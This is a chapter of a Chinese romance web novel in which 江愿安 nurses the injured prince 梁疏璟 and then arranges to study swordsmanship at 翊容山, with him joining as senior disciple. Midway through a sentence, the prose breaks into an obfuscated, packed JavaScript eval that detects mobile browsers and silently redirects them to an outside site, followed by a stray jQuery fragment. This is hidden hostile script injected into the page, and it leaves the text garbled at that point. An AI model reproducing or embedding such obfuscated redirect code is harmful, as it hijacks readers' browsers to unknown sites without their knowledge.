晚春几日过的格外的快,她日复一日这样守着梁疏璟,甚至除了她再无一人知道元璟府发生了这样一桩大事。直到某天她像往常一样守在塌边翻着诗集,梁疏璟不觉间动了动手指,费力睁开了双眼,首先映入眼帘的,便是女子低着头看书的一片岁月静好。
他并未出声,只是悄悄看了她许久。
这样抛却一切的宁静,能再多留片刻吗?
正当他贪心的想要将这一片宁静延续下去,门外却兀然响起了不合时宜的敲门声,江愿安忽地抬头,对上了梁疏璟那双似是春雪消融的眸子。
顷刻间二人皆是无言,直到璇玑的问声从门外传来:
“江姑娘,你在屋里吗?”
她还未来得及开口,便被梁疏璟伸出手紧紧捂住了嘴,随即听到他回答璇玑:
“她不在,你退下吧。”
门外的璇玑听到是他的声音,未多想便退了下去,留下二人在屋内四目相对。
他松开覆在女子唇间的手掌,等着她开口苛责自己。
“你醒了。”
江愿安合起手中的诗集,紧张的移开眸子轻声开口。
“这些日子,又令你费心了。”
他并未回答她的话,而是有意将话题牵引开。
“没有...应该的,既然殿下醒了,那我就先回去了。”
她将诗集轻轻放至一旁,起身便准备离开。梁疏璟趁着她背过身,以极轻的动作起身将她拥入了怀中,只是这一次江愿安没有反抗,而是认命一般由他抱着。
“你走了,还会回来吗?”
......
“会的。”
“永远都会吗?”
他不死心又问了一句。
听到他这么问,江愿安深深吸了口气,
“殿下当初骗我的时候,有这样问过自己吗?”
听到身后的沉默,她后知后觉自己是不是话说的太重了些,可再要她开口,却无论如何都做不到了。
“你若怨我,便怨我吧。”
除了这八个字,其他再无了。
“我自然想怨你,可你躺在那里半死不活的样子,我半分都怨不起来...你的伤口,现在还疼吗?”
梁疏璟拥她拥的更紧了些,看起来伤口似乎是不疼了。
“你在这里,就不疼了。”
江愿安冷笑一声,松开了他的怀抱。
“那我岂不是不能走了?”
“或许吧,只要你愿意的话。”
“嗯,那我不愿意。”
见到他眼中透出的意外,江愿安不由浅浅勾起了嘴角。
“可是天色不早了,我真的该回去了,你好好待在府上,我明日还会来的。”
不等梁疏璟回应,她便急匆匆走开,将门紧紧带上了。
糊涂了,她也糊涂了。
江府,听雨院。
她懒懒憩于伴雨亭中,傍晚总不免有几只飞虫百无聊赖环着烛火飞来飞去,丝毫不惧烛火的温度。看着几只小虫飞来飞去,江愿安心中却是愁绪万千,如今梁疏璟醒了,那四年前梁府那件事,他是不是仍然不会善罢甘休?倘若真是这样,那他活的真是好累,甚至不如这扑火的飞蛾。
别人的心都是归鸟,而他却像一座孤岛。
“小姐,这翊翎剑籍您还看吗?知秋见您只翻过那一回,若是用不着了,知秋便替您收起来。” 知秋的声音兀然提醒了她。
对,当初在无双阁便听梁疏璟与楚郁回一直提起翊容山的旧事,还有那位墨弃师兄,能让梁疏璟如此在意的人,一定和四年前那桩事脱不了干系。
“别,我会看的,你不用管。”
她简单关照了一句,便起身准备离开。她虽没在翊容山习过剑,可在娘亲那里,一定能打听出什么。
一阵急促的敲门声打断了许寒枝的动作,她起身推开门一看,便见女儿手中攥着那本翊翎剑籍满脸焦急。
“这是怎么了?挑灯夜读了?”她将人放进来,随后又将门带紧。
“娘,你怎么会有这本翊翎剑籍?”
这本书她只记得是娘亲许久之前送的,却忘了问来历。许寒枝皱起眉头细细想了一阵,这本书其实也是当初父亲送给她的,可她也未来得及询问这本古籍的来历。
“是你的,外祖父走后,便与诸多遗物一同被我带回江府了。”
“那外祖父为什么会有呢?”
许寒枝摇了摇头,不过除了这本翊翎剑籍,她倒记得当初父亲与翊容山那位宗主关系甚好,或许这本书就是这么来的。
“外祖父年轻时与翊翎剑派的宗主关系要好,或许就是那么来的。不过,你怎么问起这个了?”
江愿安顾不上她的疑惑,紧接着便追问:
“那那位宗主,如今还活着吗?”
许寒枝笑着皱起眉头,“傻孩子,说的这是什么话,自然是在世了,只不过外祖父走后,娘亲便也未再去见过那位宗主了。”
江愿安这才松了一口气,还活着就好...
“娘,我也要去翊容山习剑!你送我去吧!”她忽然握住许寒枝的双手,目光坚毅,刻不容缓。
许寒枝抽出一只手,贴了贴她的额头,
“烧糊涂了?”
“再说了,元璟府的差,你不当了?”
璟王年幼在翊容山习过剑她是知道的,可愿安如今都快年满十八了,按翊容山的规矩,过了十六的孩子,他们是不收的。
“璟王他一定会答应我去的,娘,你就送我去嘛,你看翊容山每逢四年招收一次学子,正好就轮到今年了嘛!”
许寒枝被她哄得没办法,笑着摸摸她的头,
“这都被你打探清楚了,你不急,容娘与你爹好好想想,不过我可要跟你说好,倘若真将你送去了,可不准半路让我们接你回来,知道吗?”
“知道知道!”
“好,你这几日先候着,娘去替你打听打听。”
话落,许寒枝便将她送回了听雨院。
翊容山招收学子向来以山下那株桂花结出第一株花苞为讯,直至最后一场冬雪消散,共计不超一百四十四日,招收学子也仅十一人。而除了十一名学子,宗主历年来还总要挑出一位已经下山的学子回宗作为大师兄,以便减轻教学压力。而正如梁疏璟当初所言,能被选进翊翎山习剑的多为可造之才,光是筛选学子这一轮,便要筛上整整三日。
早在今年初春,翊容山便来人询问过梁疏璟是否有意上山
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141664|175159||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,毕竟八年前与他不分伯仲的那位墨弃早已不知所踪,而东昭境内成绩最优异的也只属他一人,加上年纪轻轻,风华正茂,为此宗主早早便打上了这位璟王的主意。只是当初他考虑要在山上待的时日太久,总不能撇了这位少卿不管,便暂时回绝了。可惜如今手腕又落了伤,怕是再难像从前那般了。
等江愿安第二日兴致冲冲赶到元璟府,梁疏璟早已衣冠整齐在静心亭内备好棋候着她了。
“怎么第二日便下床了?大夫特意关照了,你还不能吹风呢。”
“无妨,已经恢复的差不多了。”
梁疏璟嘴上虽淡淡说着无妨,实则脸色依旧没好到哪去,加上这些日子瘦了不少,往那一坐几乎成了纸片,哪里经得住风吹。
“殿下,我能不能和你商量个事情?”
她款款落座,无心同梁疏璟下棋,而是将圆润饱满的白玉棋子捏在手心细细把玩起来。梁疏璟点了点头,欣然应允,等着她开口。
“其实也没什么...就是,我想去翊容山,去学剑...”
她的尾音愈发低下去,悄悄观察梁疏璟的反应。
“你去不了,你已经十八了,不是么?”他脸上倒是并无半分意外,只是一脸平静的同江愿安陈述这个事实。
“我知道!可是娘答应了会送我去的...殿下你可一定要成人之美啊!君子嘛!成人之美!”
见梁疏璟不像预料中那般好商量,她的语气顿时焦灼起来,恨不得下一秒将棋盘掀了来逼梁疏璟答应她。
“我不是不让你去,我的意思是,你如果遇到什么困难,可以找我。”
梁疏璟静静看着她,还是和从前一般,一言不合便要急出火来。
“那你这是答应我去咯?”
梁疏璟轻笑一声,将棋子放回棋罐,
“我不仅答应你去——”
“我还能陪你去。”
“为什么!?”
听到梁疏璟这么说,她不仅丝毫没有觉得开心,反而替自己隐隐忧心起来,倘若自己剑学的不好、被师父训了、被同门笑了...梁疏璟岂不是都要看在眼里么?
梁疏璟对她这样的反应极为不满,若不是看在她的份上,他怎么会去翊容山呢?于是敛起眉头,几乎是不悦的问道:
“怎么,你就这么不想看见我?”
江愿安慌忙摇了摇头,
“不是不是,不对!你怎么能跟着我一起去呢?你都已经学成归来了!都要出师了!”
“自然是本王剑术了得,师父特意命人请我回去作你们大师兄,怎么,你不让?”他眼中满是轻谑,看着江愿安的眼睛说道。
哎呀,这可真是...江愿安顿时低下头难耐的扶额,像是听到了什么惊天动地的坏消息。
“那也不是...不过,殿下,你要答应我,可千万不能差别对待啊。”眼见梁疏璟跟着她一同上山成了板上钉钉的事情,她也只好低声祈求他到了山上能多放自己一马。
“你担心的就是这个?本王看起来是很小肚鸡肠的人吗?”梁疏璟被气的发笑,总觉得一夜之间自己在人品这块倒亏了她不少。
“不是不是!殿下您两袖清风、英明神武、玉树临风、风流倜傥......”